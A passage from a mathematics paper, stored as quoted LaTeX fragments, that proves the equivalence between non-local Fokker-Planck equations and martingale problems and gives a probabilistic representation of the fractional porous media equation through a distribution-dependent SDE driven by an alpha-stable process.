i.e., $$\\int_{\\mR^d}|x|\\mu_t(\\dif x)<\\infty,\\ \\ \\forall t\\geq 0.$$ These two assumptions rule out the interesting $\\alpha$-stable processes (see Example \\[br2\\] above). ", "To drop these two limitations, we employ some techniques from [@BRS]. ", "It should be emphasized that the elegant push-forward method used in [@Tr] does not seem to work in the non-local case. ", "Here the main obstacles are to show the tightness and taking limits. ", "One important motivation for studying the superposition principle for nonlocal operators is to solve the Boltzman equation as explained in Subsection 1.2 of [@F-X] (see also [@HK]).", "\n\nEquivalence between FPEs and martingale problems\n------------------------------------------------\n\nThe following corollary is a direct consequence of Theorem \\[Main\\] and [@EK Theorem 4.4.2] (see also [@Tr Lemma 2.12]). ", "For the readers’ convenience, we provide a detailed proof here.", "\n\n\\[Cor1\\] Under (\\[Assu1\\]), the well-posedness of the Fokker-Planck equation (\\[FPE\\]) is equivalent to the well-posedness of the martingale problem associated with $\\sL$. More precisely, we have the following equivalences:\n\n1. ", " [**(Existence)**]{} For any $\\nu\\in\\cP(\\mR^d)$, the non-local FPE admits a solution $(\\mu_t)_{t\\geq 0}$ with initial value $\\mu_0=\\nu$ if and only if $\\cM^{\\nu}_0(\\sL)$ has at least one element.", "\n\n2. ", " [**(Uniqueness)**]{} The following two statements are equivalent.", "\n\n (i) For each $(s,\\nu)\\in\\mR_+\\times\\cP(\\mR^d)$, the non-local FPE has at most one solution $(\\mu_t)_{t\\geq s}$ with $\\mu_s=\\nu$ after time $s$.\n\n (ii) For each $(s,\\nu)\\in\\mR_+\\times\\cP(\\mR^d)$, $\\cM^\\nu_s(\\sL)$ has at most one element.", "\n\nWe only prove the uniqueness part. (", "ii)$\\Rightarrow$(i) is easy by Theorem \\[Main\\]. ", "We show (i)$\\Rightarrow$(ii). ", "For given $(s,\\nu)\\in\\mR_+\\times\\cP(\\mR^d)$ and let $\\mP_1,\\mP_2\\in\\cM^\\nu_s(\\sL)$. To show $\\mP_1=\\mP_2$, it suffices to prove the following claim by induction:\n\n[**(C$_n$)**]{} for given $n\\in\\mN$, and for any $s\\leq t_1<t_2<t_n$ and strictly positive and bounded measurable functions $f_1,\\cdots, f_n$ on $\\mR^d$, $$\\begin{aligned}\n\\label{GK1}\n\\mE^{\\mP_1}(f_1(X_{t_1})\\cdots f_n(X_{t_n}))=\\mE^{\\mP_2}(f_1(X_{t_1})\\cdots f_n(X_{t_n})).\\end{aligned}$$ First of all, by Theorem \\[Main\\] and the assumption, one sees that [**(C$_1$)**]{} holds. ", "Next we assume [**(C$_n$)**]{} holds for some $n\\geq 2$. For simplicity we write $$\\eta:=f_1(X_{t_1})\\cdots f_n(X_{t_n}),$$ and for $i=1,2$, we define new probability measures $$\\dif\\tilde\\mP_i:=\\eta\\dif\\mP_i/\\int_\\Omega\\eta\\dif\\mP_i\\in\\cP(\\mD),\\ \\ \\tilde\\nu_i:=\\tilde\\mP_i\\circ X^{-1}_{t_n}\\in\\cP(\\mR^d).$$ Now we show $$\\tilde\\mP_i\\in\\cM^{\\tilde\\nu_i}_{t_n}(\\sL),\\ \\ i=1,2.$$ Let $M^f_t$ be defined by . ", "We only need to prove that for any $t'>t\\geq t_n$ and bounded $\\cB_t$-measurable $\\xi$, $$\\mE^{\\tilde\\mP_i}\\left(M^f_{t'}\\xi\\right)=\\mE^{\\tilde\\mP_i}\\left(M^f_t\\xi\\right)\\Leftrightarrow \\mE^{\\mP_i}(M^f_{t'}\\xi\\eta)=\\mE^{\\mP_i}(M^f_t\\xi\\eta),$$ which follows since $\\mP_i\\in\\cM^{\\nu}_s(\\sL)$. Thus, by induction hypothesis and Theorem \\[Main\\], $$\\tilde\\nu_1=\\tilde\\nu_2\\Rightarrow\\tilde\\mP_1\\circ X^{-1}_{t_{n+1}}=\\tilde\\mP_2\\circ X^{-1}_{t_{n+1}},\\ \\ \\forall t_{n+1}>t_n.$$ which in turn implies that [**(C$_{n+1}$)**]{} holds. ", "The proof is complete.", "\n\nFractional porous media equation\n--------------------------------\n\nProbabilistic representation of solution to PDEs is a powerful tool to study their analytic properties (well-posedness, regularity, etc) since it allows us to use many probabilistic tools (see [@BM2], [@BRR], [@BR]). ", "As an application of the superposition principle obtained in Theorem \\[Main\\], we intend to derive a probabilistic representation for the weak solution of the following fractional porous media equation (FPME for short): $$\\begin{aligned}\n\\label{pde}\n\\p_tu=\\Delta^{\\alpha/2}(|u|^{m-1}u),\\quad u(0,x)=\\varphi(x),\\end{aligned}$$ where the porous media exponent $m>1$, $\\alpha\\in(0,2)$ and $\\Delta^{\\alpha/2}:=-(-\\Delta)^{\\alpha/2}$ is the usual fractional Laplacian with, up to a constant, alternative expression $$\\begin{aligned}\n\\label{Fr}\n\\Delta^{\\alpha/2} f(x)={\\rm P.V.}\\int_{\\mR^d}(f(x+z)-f(x))\\dif z/|z|^{d+\\alpha},\\end{aligned}$$ where P.V. stands for the Cauchy principle value. ", "This equation is a typical non-linear, degenerate and non-local parabolic equation, which appears naturally in statistical mechanics and population dynamics in order to describe the hydrodynamic limit of interacting particle systems with jumps or long-range interactions. ", "In the last decade, there are many works devoted to the study of equation (\\[pde\\]) from the PDE point of view, see [@Re-Ro-Wa] and the recent survey paper [@V], the monograph [@Va] and the references therein.", "\n\nLet $\\dot{H}^{\\alpha/2}(\\mR^d)$ be the homogeneous fractional Sobolev space defined as the completion of $C_0^\\infty(\\mR^d)$ with respect to $$\\|f\\|_{\\dot{H}^{\\alpha/2}}:=\\left(\\int_{\\mR^d}|\\xi|^\\alpha|\\hat f(\\xi)|^2\\dif\\xi\\right)^{1/2}=\\|(-\\Delta)^{\\alpha/4}f\\|_2,$$ where $\\hat f$ is the Fourier transform of $f$. The following notion about the weak solution of FPME is introduced in [@PQRV Definition 3.1]. ", "\\[Def10\\] A function $u$ is called a weak or $L^1$-energy solution of FPME (\\[pde\\]) if\n\n- $u\\in C([0,\\infty);L^1(\\mR^d))$ and $|u|^{m-1}u\\in L^2_{loc}((0,\\infty);\\dot{H}^{\\alpha/2}(\\mR^d))$;\n\n- for every $f\\in C_0^1(\\mR_+\\times\\mR^d)$, $$\\int_0^\\infty\\!\\!\\int_{\\mR^d}u\\cdot\\p_tf\\dif x\\dif t=\\int_0^\\infty\\!\\!\\int_{\\mR^d}(|u|^{m-1}u)\\cdot \\Delta^{\\alpha/2}f\\dif x\\dif t;$$\n\n- $u(0,x)=\\varphi(x)$ almost everywhere.", "\n\nThe following result was proved in [@PQRV Theorem 2.1, Theorem 2.2].", "\n\n\\[t1\\] Let $\\alpha\\in(0,2)$ and $m>1$. For every $\\varphi\\in L^1(\\mR^d)$, there exists a unique weak solution $u$ for equation (\\[pde\\]). ", "Moreover, $u$ enjoys the following properties:\n\n(i) if $\\varphi\\geq 0$, then $u(t,x)>0$ for all $t>0$ and $x\\in\\mR^d$;\n\n(ii) $\\p_tu\\in L^\\infty((s,\\infty);L^1(\\mR^d))$ for every $s>0$;\n\n(iii) for all $t\\geq 0$, $\\int_{\\mR^d}u(t,x)\\dif x=\\int_{\\mR^d}\\varphi(x)\\dif x$;\n\n(iv) if $\\varphi\\in L^\\infty(\\mR^d)$, then for every $t>0$, $$\\begin{aligned}\n \\|u(t,\\cdot)\\|_\\infty\\leq \\|\\varphi\\|_\\infty;\n \\end{aligned}$$\n\n(v) for some $\\beta\\in(0,1)$, $u\\in C^\\beta((0,\\infty)\\times\\mR^d)$.\n\nOur aim in this subsection is to represent the above solution $u$ as the distributional density of the solution to a nonlinear stochastic differential equation driven by the $\\alpha$-stable process $L_t$ with Lévy measure $\\dif z/|z|^{d+\\alpha}$. More precisely, consider the following distribution dependent stochastic differential equation (DDSDE for short) driven by the $d$-dimensional isotropic $\\alpha$-stable process $L_t$: $$\\begin{aligned}\n\\label{ddsde}\n\\dif Y_t&=\\rho_{Y_t}\\big(Y_{t-}\\big)^{\\frac{m-1}{\\alpha}}\\dif L_t,\\ \\ \\rho_{Y_0}(x)=\\varphi(x),\\end{aligned}$$ where $\\rho_{Y_t}(x):=(\\dif\\cL_{Y_t}/\\dif x)(x)$ denotes the distributional density of $Y_t$ with respect to Lebesgue measure. ", "We introduce the following notion about the above DDSDE . ", "Let $(\\Omega,\\cF,\\bP; (\\cF_t)_{t\\geq 0})$ be a stochastic basis and $(Y,L)$ two $\\cF_t$-adapted càdlàg processes. ", "For $\\mu\\in\\cP(\\mR^d)$, we call $(\\Omega,\\cF,\\bP; (\\cF_t)_{t\\geq 0}; Y,L)$ a solution of with initial law $\\mu$ if\n\n(i) $L$ is an $\\alpha$-stable process with Lévy measure $\\dif z/|z|^{d+\\alpha}$;\n\n(ii) for each $t\\geq 0$, $\\bP\\circ Y^{-1}_t(\\dif x)=\\rho_{Y_t}(x)\\dif x$;\n\n(iii) $Y_t$ solves the following SDE: $$Y_t=Y_0+\\int^t_0\\rho_{Y_s}\\big(Y_{s-}\\big)^{\\frac{m-1}{\\alpha}}\\dif L_s.$$\n\nThe following is the second main result of this paper.", "\n\n\\[main1\\] Let $\\varphi\\geq 0$ be bounded and satisfy $\\int_{\\mR^d}\\varphi(x)\\dif x=1$. Let $u$ be the unique weak solution to FPME (\\[pde\\]) given by Theorem \\[t1\\] with initial value $\\varphi$. Then there exists a weak solution $Y$ to DDSDE (\\[ddsde\\]) such that $$\\begin{aligned}\n\\rho_{Y_t}(x)=u(t,x),\\quad\\forall t\\geq 0.\\end{aligned}$$ Here an open question is to show the uniqueness of weak solutions to the nonlinear SDE , which can not be derived from the uniqueness of FPME . ", "We will study this in a future work. ", "We mention that in the 1-dimensional case, such kind of probabilistic representation for the classical porous media equation (i.e., $\\alpha=2$) was obtained in [@BRR], see also [@BRR2] and [@BM1; @BM2] and for the generalization to the multi-dimensional case and more general non-linear equations. ", "We also mention that there has been an increasing interest in DDSDEs driven by Brownian motion in the last decade, see [@BM2; @R-Z; @Wa] and in particularly, [@Ca-De1] as well as the references therein. ", "As far as we know, even the weak existence result for DDSDE (\\[ddsde\\]) driven by Lévy noise in Theorem \\[main1\\] is also new.", "\n\nThis paper is organized as follows: In Section 2, we study the equation (\\[FPE\\]) with smooth and non-degenerate coefficients. ", "Then we prove Theorem \\[Main\\] and Theorem \\[main1\\] in Sections 3 and 4, respectively. ", "Throughout this paper we shall use the following conventions:\n\n- The letter $C$ denotes a constant, whose value may change in different places.", "\n\n- We use $A\\lesssim B$ to denote $A\\leq C B$ for some unimportant constant $C>0$.\n\n- $\\mN_0:=\\mN\\cup\\{0\\}$, $\\mR_+:=[0,\\infty)$, $a\\vee b:=\\max(a,b)$, $a\\wedge b:=\\min(a,b)$, $a^+:=a\\vee 0$.\n\n- $\\nabla_x:=\\p_x:=(\\p_{x_1},\\cdots,\\p_{x_d})$, $\\p_i:=\\p_{x_i}:=\\p/\\p x_i$.\n\n- $\\mS^d_+$ is the set of all $d\\times d$-symmetric and non-negative definite matrices.", "\n\nProof of Theorem \\[Main\\]: Smooth and nondegenerate coefficients\n================================================================\n\nFirst of all, we show the following well-posedness result about the martingale problem associated with $\\sL_t$, which extends Stroock’s result [@St] to unbounded coefficients case, and is probably well-known at least to experts. ", "However, since we can not find it in the literature, we provide a detailed proof here. ", "\\[Th21\\] Suppose that the following conditions are satisfied:\n\n1. ", " $a_t(x):\\mR_+\\times\\mR^d\\to\\mS^d_+$ is continuous and $a_t(x)$ is invertible;\n\n2. ", " $b_t(x):\\mR_+\\times\\mR^d\\to\\mR^d$ is locally bounded and measurable;\n\n3. ", " for any $A\\in\\cB(\\mR^d)$, $(t,x)\\mapsto\\int_A(1\\wedge|z|^2)\\nu_{t,x}(\\dif z)$ is continuous;\n\n4. ", " the following global growth condition holds: $$\\bar\\Gamma^\\nu_{a,b}:=\\sup_{t,x}\\left(\\frac{|a_t(x)|+\\<x,b_t(x)\\>^++g^\\nu_t(x)}{1+|x|^2}+2\\hbar^\\nu_t(x)\\right)<\\infty,$$ where $g^\\nu_t(x)$ and $\\hbar^\\nu_t(x)$ are defined by and , respectively.", "\n\nThen for each $(s,x)\\in\\mR_+\\times\\mR^d$, there is a unique martingale solution $\\mP_{s,x}\\in\\cM^{x}_s(\\sL_t)$. Moreover, the following assertions hold:\n\n(i) For each $A\\in\\cB(\\mD)$, $(s,x)\\mapsto \\mP_{s,x}(A)$ is Borel measurable.", "\n\n(ii) The following strong Markov property holds: for every $f\\in C_b(\\mR_+\\times\\mR^{d})$ and any finite stopping time $\\tau$, $$\\mE^{\\mP_{0,x}} (f(\\tau+t, X_{\\tau+t})|\\cB_\\tau)=\\mE^{\\mP_{\\tau,X_\\tau}} (f(s+t, X_{s+t})).$$\n\nCondition [**(D)**]{} ensures the non-explosion of the solution.", "\n\nTo prove this theorem we first show the following Lyapunov’s type estimate. ", "Let $\\psi\\in C^2(\\mR;\\mR_+)$ with $\\lim_{r\\to\\infty}\\psi(r)=\\infty$ and $$\\begin{aligned}\n\\label{CA1}\n0< \\psi'\\leq 1,\\quad\\psi''\\leq 0.\\end{aligned}$$ Fix $y\\in\\mR^d$ and define a Lyapunov function $V_{y}(x):=\\psi(\\log(1+|x-y|^2))$. Then for all $t\\geq 0$ and $x\\in\\mR^d$, we have $$\\begin{aligned}\n\\label{ag}\n\\sL_tV_{y}(x)\\leq 2\\left(\\frac{|a_t(x)|+\\<x-y,b_t(x)\\>^++g^\\nu_t(x)}{1+|x-y|^2}+2H^\\nu_t(x,y)\\right),\\end{aligned}$$ where $g^\\nu_t(x)$ is defined by , and $$\\begin{aligned}\n\\label{HH1}\nH^\\nu_t(x,y):=\\int_{B^c_\\ell}\\log\\left(1+\\tfrac{|z|}{1+|x-y|}\\right)\\nu_{t,x}(\\dif z).\\end{aligned}$$\n\nBy definition, it is easy to see that $$\\begin{aligned}\n\\nabla V_y(x)=\\frac{2(x-y)}{1+|x-y|^2}\\psi'(\\log(1+|x-y|^2))\\end{aligned}$$ and $$\\begin{aligned}\n\\begin{split}\n\\nabla^2 V_y(x)&=\\frac{4(x-y)\\otimes (x-y)}{(1+|x-y|^2)^2}(\\psi''-\\psi')(\\log(1+|x-y|^2))\\\\\n&\\quad+\\frac{2\\mI}{1+|x-y|^2}\\psi'(\\log(1+|x-y|^2)).", "\n\\end{split}\\end{aligned}$$ Thus by , one gets that $$\\begin{aligned}\n \\sA^a_t V_y(x)\\leq \\frac{2|a_t(x)|}{1+|x-y|^2},\\quad \\sB^b_t V_y(x)\\leq \\frac{2\\<x-y,b_t(x)\\>^+}{1+|x-y|^2}.\\end{aligned}$$ On the other hand, recalling , we have for $|z|\\leq\\ell\\leq1/\\sqrt{2}$, $$\\begin{aligned}\n\\Theta_{V_y}(x;z)&=V_y(x+z)-V_y(x)-z\\cdot \\nabla V_y(x)=z_iz_j\\p_i\\p_jV_y(x+\\theta z)/2\\\\\n&=\\frac{2\\<z,x-y+\\theta z\\>^2}{(1+|x-y+\\theta z|^2)^2}(\\psi''-\\psi')(\\log(1+|x-y+\\theta z|^2))\\\\\n&\\quad+\\frac{|z|^2}{1+|x-y+\\theta z|^2}\\psi'(\\log(1+|x-y+\\theta z|^2))\\\\\n&\\stackrel{\\eqref{CA1}}{\\leq}\\frac{|z|^2}{1+|x-y+\\theta z|^2}\\leq\\frac{|z|^2}{1+|x-y|^2/2-|z|^2}\\leq \\frac{2|z|^2}{1+|x-y|^2},\\end{aligned}$$ where $\\theta\\in[0,1]$. Similarly, by the mean value formula, we have $$\\begin{aligned}\nV_y(x+z)-V_y(x)&=\\psi'(\\theta_*)\\Big[\\log\\big(1+|x-y+z|^2\\big)-\\log\\big(1+|x-y|^2\\big)\\Big]\\\\\n&\\leq\\log\\left(1+\\frac{2|\\<x-y,z\\>|+|z|^2}{1+|x-y|^2}\\right)\\leq\\log\\left(1+\\frac{|z|}{\\sqrt{1+|x-y|^2}}\\right)^2\\\\\n&\\leq\\log\\left(1+\\frac{2|z|}{1+|x-y|}\\right)^2\\leq\\log\\left(1+\\frac{|z|}{1+|x-y|}\\right)^4,\\end{aligned}$$ where $\\theta_*\\in\\mR$. Hence, $$\\begin{aligned}\n&\\sN^\\nu_tV_y(x)\\leq\\int_{\\mR^d}\\Theta_{V_y}(x;z)\\nu_{t,x}(\\dif z)\\leq 2\\frac{g^\\nu_t(x)}{1+|x-y|^2}+4H^\\nu_t(x,y).\\end{aligned}$$ Combining the above calculations, we obtain .", "\n\nThe following stochastic Gronwall inequality for continuous martingales was proved by Scheutzow [@Sc], and for general discontinuous martingales in [@XZ2 Lemma 3.7].", "\n\n\\[Gron\\] Let $\\xi(t)$ and $\\eta(t)$ be two non-negative càdlàg adapted processes, $A_t$ a continuous non-decreasing adapted process with $A_0=0$, $M_t$ a local martingale with $M_0=0$. Suppose that $$\\xi(t)\\leq\\eta(t)+\\int^t_0\\xi(s)\\dif A_s+M_t,\\ \\forall t\\geq 0.$$ Then for any $0<q<p<1$ and stopping time $\\tau>0$, we have $$\\begin{aligned}\n\\big[\\mE(\\xi(\\tau)^*)^{q}\\big]^{1/q}\\leq \\Big(\\tfrac{p}{p-q}\\Big)^{1/q}\\Big(\\mE \\e^{pA_{\\tau}/(1-p)}\\Big)^{(1-p)/p}\\mE\\big(\\eta(\\tau)^*\\big), \\label{gron}\\end{aligned}$$ where $\\xi(t)^*:=\\sup_{s\\in[0,t]}\\xi(s)$.\n\nThe following localization lemma is well known (see e.g. [@St-Va Theorem 1.3.5]). ", "Although it is only proved for the probability measures on the space of continuous functions, by checking the proof therein, one sees that it also works for $\\mD$.\n\n\\[Ext\\] Let $(\\mP_n)_{n\\in\\mN}\\subset\\cP(\\mD)$ be a family of probability measures and $(\\tau_n)_{n\\in\\mN}$ a non-decreasing sequence of stopping times with $\\tau_0\\equiv 0$. Suppose that for each $n\\in\\mN$, $\\mP_{n}$ equals $\\mP_{n-1}$ on $\\cB_{\\tau_{n-1}}(\\mD)$, and for any $T\\geq 0$, $$\\begin{aligned}\n\\lim_{n\\to\\infty} \\mP_n (\\tau_n\\leq T)=0.\\end{aligned}$$ Then there is a unique probability measure $\\mP\\in\\cP(\\mD)$ such that $\\mP$ equals $\\mP_n$ on $\\cB_{\\tau_n}(\\mD)$ and $\\mP_n$ weakly converges to $\\mP$ as $n\\to\\infty$.\n\nWe now use the above localization lemma to give\n\nLet $\\chi\\in C^\\infty_c(\\mR^d)$ be a smooth funciton with $$\\chi(x)=1,\\ \\ |x|<1,\\ \\ \\chi(x)=0,\\ \\ |x|>2.$$ For any $n\\in\\mN$, define $$\\chi_n(x):=\\chi(x/n)$$ and $$a^n_t(x):=a_t(x\\chi_n(x)),\\ b^n_t(x):=\\chi_n(x)b_t(x),\\ \\nu^n_{t,x}(\\dif z):=\\chi_n(x)\\nu_{t,x}(\\dif z).$$ By the assumptions [**(A)**]{}-[**(C)**]{}, one can check that $(a^n,b^n,\\nu^n)$ satisfies for any $T>0$,\n\n1. ", " $a^n_t(x):[0,T]\\times\\mR^d\\to\\mS^d_+$ is bounded continuous and $a^n_t(x)$ is invertible.", "\n\n2. ", " $b^n_t(x):[0,T]\\times\\mR^d\\to\\mR^d$ is bounded measurable.", "\n\n3. ", " For any $A\\in\\cB(\\mR^d)$, $(t,x)\\mapsto\\int_A(1\\wedge|z|^2)\\nu^n_{t,x}(\\dif z)$ is bounded continuous.", "\n\nLet $\\sL^n_t$ be defined in terms of $(a^n,b^n,\\nu^n)$. For each $n\\in\\mN$ and $(s,x)\\in\\mR_+\\times\\mR^d$, by [@J-S Theorem 2.34, p.159], there is a unique martingale solution $\\mP^n_{s,x}\\in\\cM^x_s(\\sL^n_t)$, and the following properties hold:\n\n(i) For each $A\\in\\cB(\\mD)$, $(s,x)\\mapsto \\mP^n_{s,x}(A)$ is Borel measurable.", "\n\n(ii) The following strong Markov property holds: for any $f\\in C_b(\\mR^{d+1})$ and finite stopping time $\\tau$, $$\\mE^{\\mP^n_{0,x}} (f(\\tau+t, X_{\\tau+t})|\\cB_\\tau)=\\mE^{\\mP^n_{\\tau,X_\\tau}} (f(s+t, X_{s+t})).$$\n\nMoreover, if we define $$\\tau_n:=\\inf\\{t\\geq s: |X_t|>n\\},$$ then by [@J-S Theorem 2.41, p.161], for any $m\\geq n$, the “stopped” martingale problem $\\cM^x_{s,\\tau_n}(\\sL^{m}_t)$ admits a unique solution, that is, $$\\mP^{m}_{s,x}|_{\\cB_{\\tau_n}(\\mD)}=\\mP^{n}_{s,x}|_{\\cB_{\\tau_n}(\\mD)}.$$ To show the well-posedness, by Lemma \\[Ext\\], it suffices to show that for any $T>0$, $$\\lim_{n\\to\\infty}\\mP^n_{s,x}(\\tau_n\\leq T)=0.$$ Let $V(x):=\\log(1+|x|^2)$. By the definition of martingale solution (see Remark \\[Re14\\]), there is a cádlág local $\\mP^n_{s,x}$-martingale $M_t$ such that $$\\begin{aligned}\nV(X_{t\\wedge\\tau_n})&=V(x)+\\int^{t\\wedge\\tau_n}_s\\sL^n_rV(X_r)\\dif r+M_t\\\\\n&=V(x)+\\int^{t\\wedge\\tau_n}_s\\sL_rV(X_r)\\dif r+M_t\\\\\n&\\stackrel{\\eqref{ag}}{\\leq} V(x)+4\\,\\Gamma^{\\nu}_{a,b}\\cdot(t-s)+M_t.\\end{aligned}$$ where $\\Gamma^\\nu_{a,b}$ is defined by (\\[Assu1\\]). ", "By Lemma \\[Gron\\] and condition [**(D)**]{}, we obtain $$\\sup_n\\mE^{\\mP^n_{s,x}}\\left(\\sup_{t\\in[s,T\\wedge\\tau_n]}V^{\\frac{1}{2}}(X_t)\\right)<+\\infty,$$ which in turn implies that $$\\begin{aligned}\n\\mP^n_{s,x}(\\tau_n\\leq T)&=\\mP^n_{s,x}\\left(\\sup_{t\\in[s,T\\wedge\\tau_n]}|X_t|>n\\right)\\\\\n&\\leq\\frac{1}{V^{\\frac{1}{2}}(n)}\\mE^{\\mP^n_{s,x}}\\left(\\sup_{t\\in[s,T\\wedge\\tau_n]}V^{\\frac{1}{2}}(X_t)\\right)\\to 0 $$ as $n\\to\\infty$. The proof is complete.", "\n\nNow we can give the proof of Theorem \\[Main\\] under the assumptions [**(A)**]{}-[**(D)**]{}. ", "\\[Th24\\] Assume that [**(A)**]{}-[**(D)**]{} hold. ", "Then for any $\\mu_0\\in\\cP(\\mR^d)$, there are a unique solution $(\\mu_t)_{t\\geq 0}$ to FPE and a unique martingale solution $\\mP_{0,\\mu_0}\\in\\cM^{\\mu_0}_0(\\sL)$ so that $\\mu_t=\\mP_{0,\\mu_0}\\circ X^{-1}_t$.\n\nLet $\\mu_0\\in\\cP(\\mR^d)$ and $\\mP_{s,x}\\in\\cM^x_s(\\sL)$. Clearly, $$\\mP_{0,\\mu_0}:=\\int_{\\mR^d}\\mP_{0,x}\\mu_0(\\dif x)\\in\\cM^{\\mu_0}_0(\\sL),$$ and $\\mu_t:=\\mP_{0,\\mu_0}\\circ X^{-1}_t$ solves FPE . ", "It remains to show the uniqueness for . ", "Following the same argument as in [@F-X], due to Horowitz and Karandikar [@HK Theorem B1], we only need to verify the following five points:\n\n1. ", " $C^2_c(\\mR^d)$ is dense in $C_0(\\mR^d)$ with respect to the uniform convergence.", "\n\n2. ", " $(t,x)\\to\\sL_t f(x)$ is measurable for all $f\\in C^2_c(\\mR^d)$.\n\n3. ", " For each $t\\geq 0$, the operator $\\sL_t$ satisfies the maximum principle.", "\n\n4. ", " There exists a countable family $(f_k)_{k\\in\\mN}\\subset C^2_c(\\mR^d)$ such that for all $t\\geq 0$, $$\\{\\sL_tf, f\\in C^2_c(\\mR^d)\\}\\subset\\overline{\\{\\sL_tf_k, k\\in\\mN\\}},$$ where the closure is taken in the uniform norm.", "\n\n5. ", " For each $x\\in\\mR^d$, $\\cM^x_0(\\sL)$ has exactly one element.", "\n\nNote that [**(a)**]{}-[**(c)**]{} are obvious and [**(e)**]{} is proven in Theorem \\[Th21\\]. ", "Thus we only need to check [**(d)**]{}. ", "Let $(f_k)_{k\\in\\mN}$ be a countable dense subset of $C^2_c(\\mR^d)$, that is, for any $f\\in C^2_c(\\mR^d)$ with support in $B_R$, where $R\\geq 2$, there is a subsequence $f_{k_n}$ with support in $B_{2R}$ such that $$\\lim_{n\\to\\infty}\\Big(\\|f_{k_n}-f\\|_\\infty+\\|\\nabla f_{k_n}-\\nabla f\\|_\\infty+\\|\\nabla^2f_{k_n}-\\nabla^2f\\|_\\infty\\Big)=0.$$ We want to show $$\\lim_{n\\to\\infty}\\|\\sL_t (f_{k_n}-f)\\|_\\infty=0.$$ Without loss of generality, we may assume $f=0$ and proceed to prove the following limits: $$\\lim_{n\\to\\infty}\\|\\sA_t f_{k_n}\\|_\\infty=0,\\ \\lim_{n\\to\\infty}\\|\\sB_t f_{k_n}\\|_\\infty=0,\\ \\lim_{n\\to\\infty}\\|\\sN^\\nu_t f_{k_n}\\|_\\infty=0.$$ The first two limits are obvious. ", "Let us focus on the last one. ", "By definition we have $$\\begin{aligned}\n|\\Theta_{f_{k_n}}(x;z)|&=|f_{k_n}(x+z)-f_{k_n}(x)-\\1_{|z|\\leq\\ell} z\\cdot\\nabla f_{k_n}(x)|\\\\\n&\\leq \\1_{|z|>\\ell}|f_{k_n}(x+z)|+\\1_{|z|>\\ell}\\1_{B_{2R}}(x)\\|f_{k_n}\\|_\\infty\\\\\n&\\quad+\\1_{|z|\\leq \\ell}\\1_{B_{2R+2\\ell}}(x)\\|\\nabla^2 f_{k_n}\\|_\\infty|z|^2.\\end{aligned}$$ Note that $$\\1_{|z|>\\ell}\\1_{B_{5R}}(x)\\leq \\Big[\\log(1+\\tfrac{\\ell}{1+5R})\\Big]^{-1}\\log(1+\\tfrac{|z|}{1+|x|}),$$ and if $|x|>5R$, then for $|x+z|\\leq 2R$, $$\\tfrac{|z|}{1+|x|}\\geq\\tfrac{|x|-|x+z|}{1+|x|}\\geq \\tfrac{|x|-2R}{1+|x|}>\\tfrac{1}{2},$$ and thus, $$\\1_{|z|>\\ell}\\1_{B^c_{5R}}(x)\\1_{B^c_{2R}}(x+z)\\leq \\Big[\\log(\\tfrac{3}{2})\\Big]^{-1}\\log(1+\\tfrac{|z|}{1+|x|}).$$ Therefore, $$\\begin{aligned}\n|\\sN^\\nu_tf_{k_n}(x)|&\\leq\\int_{\\mR^d}|\\Theta_{f_{k_n}}(x;z)|\\nu_{t,x}(\\dif z)\n\\leq \\|\\nabla^2 f_{k_n}\\|_\\infty\\sup_{x\\in B_{2R+2}}\\int_{B_1}|z|^2\\nu_{t,x}(\\dif z)\\\\\n&\\quad+C\\|f_{k_n}\\|_\\infty\\int_{B^c_1}\\log(1+\\tfrac{|z|}{1+|x|})\\nu_{t,x}(\\dif z)\\\\\n&=\\|\\nabla^2 f_{k_n}\\|_\\infty\\sup_{x\\in B_{2R+2}} g^\\nu_t(x)+C\\|f_{k_n}\\|_\\infty\\sup_{x\\in\\mR^d}\\hbar^\\nu_t(x),\\end{aligned}$$ which in turn implies by that $$\\lim_{n\\to\\infty}\\|\\sN^\\nu_tf_{k_n}\\|_\\infty=0.$$ The proof is compete.", "\n\nProof of Theorem \\[Main\\]: General case\n=======================================\n\nLet $\\mu_t$ be a solution of in the sense of Definition \\[Def11\\]. ", "In order to show the existence of a martingale solution $\\mP\\in\\cM^{\\mu_0}_0(\\sL_t)$ so that $$\\mu_t=\\mP\\circ X^{-1}_t,$$ we shall follow the same lines of argument as in [@Fi] and [@Tr]. ", "Here and below we use the following convention: for $t\\leq 0$, $$\\mu_t(\\dif x):=\\mu_0(\\dif x),\\ a_t(x)=0,\\ b_t(x)=0,\\ \\nu_{t,x}(\\dif z)=0.$$\n\nRegularization\n--------------\n\nLet $\\rho^{\\rm t}\\in C_c^\\infty([0,1];\\mR_+)$ with $\\int^1_0\\rho^{\\rm t}(s)\\dif s=1$ and $\\rho^{\\rm x}\\in C_c^\\infty(B_1;\\mR_+)$ with $\\int_{\\mR^d}\\rho^{\\rm x}(x)\\dif x=1$. For $\\eps>0$, define $$\\rho^{\\rm t}_\\eps(t):=\\eps^{-1}\\rho(t/\\eps),\\ \\rho^{\\rm x}_\\eps(x):=\\eps^{-d}\\rho(x/\\eps),\\ \\rho_\\eps(t,x):=\\rho^{\\rm t}_\\eps(t)\\rho^{\\rm x}_\\eps(x).$$ Given a locally finite signed measure $\\zeta_t(\\dif x)\\dif t$ on $\\mR^{d+1}$, we define $$\\rho_\\eps*\\zeta(t,x):=\\int_{\\mR^{d+1}}\\rho_\\eps(t-s,x-y)\\zeta_s(\\dif y)\\dif s.$$ Throughout this section we shall fix $$\\ell\\in(0,1/\\sqrt{2}).$$ We first show the following regularization estimate. ", "\\[Le41\\] Let $a,b$ and $\\nu$ be as in the introduction. ", "For $\\eps\\in(0,\\ell)$, we have $$\\begin{aligned}\n\\frac{|\\rho_\\eps*(a\\mu)|(t,x)}{1+|x|^2}&\\leq \\sup_{t,y}\\frac{2|a_t(y)|}{1+|y|^2}(\\rho_\\eps*\\mu)(t,x),\\\\\n\\frac{|\\rho_\\eps*(b\\mu)|(t,x)}{1+|x|}&\\leq \\sup_{t,y}\\frac{2|b_t(y)|}{1+|y|}(\\rho_\\eps*\\mu)(t,x).\\end{aligned}$$ Moreover, if we let $$\\begin{aligned}\n\\bar{\\nu}^\\eps_{t,x}(\\dif z):=\\int_{\\mR^{d+1}}\\rho_\\eps(t-s,x-y)\\nu_{s,y}(\\dif z)\\mu_s(\\dif y)\\dif s,\\end{aligned}$$ then we also have $$\\begin{aligned}\n\\frac{g^{\\bar{\\nu}^\\eps}_t(x)}{1+|x|^2}&\\leq \\sup_{t,y}\\frac{2g^\\nu_{t}(y)}{1+|y|^2}(\\rho_\\eps*\\mu)(t,x),\\\\\nH^{\\bar{\\nu}^\\eps}_t(x,y)&\\leq 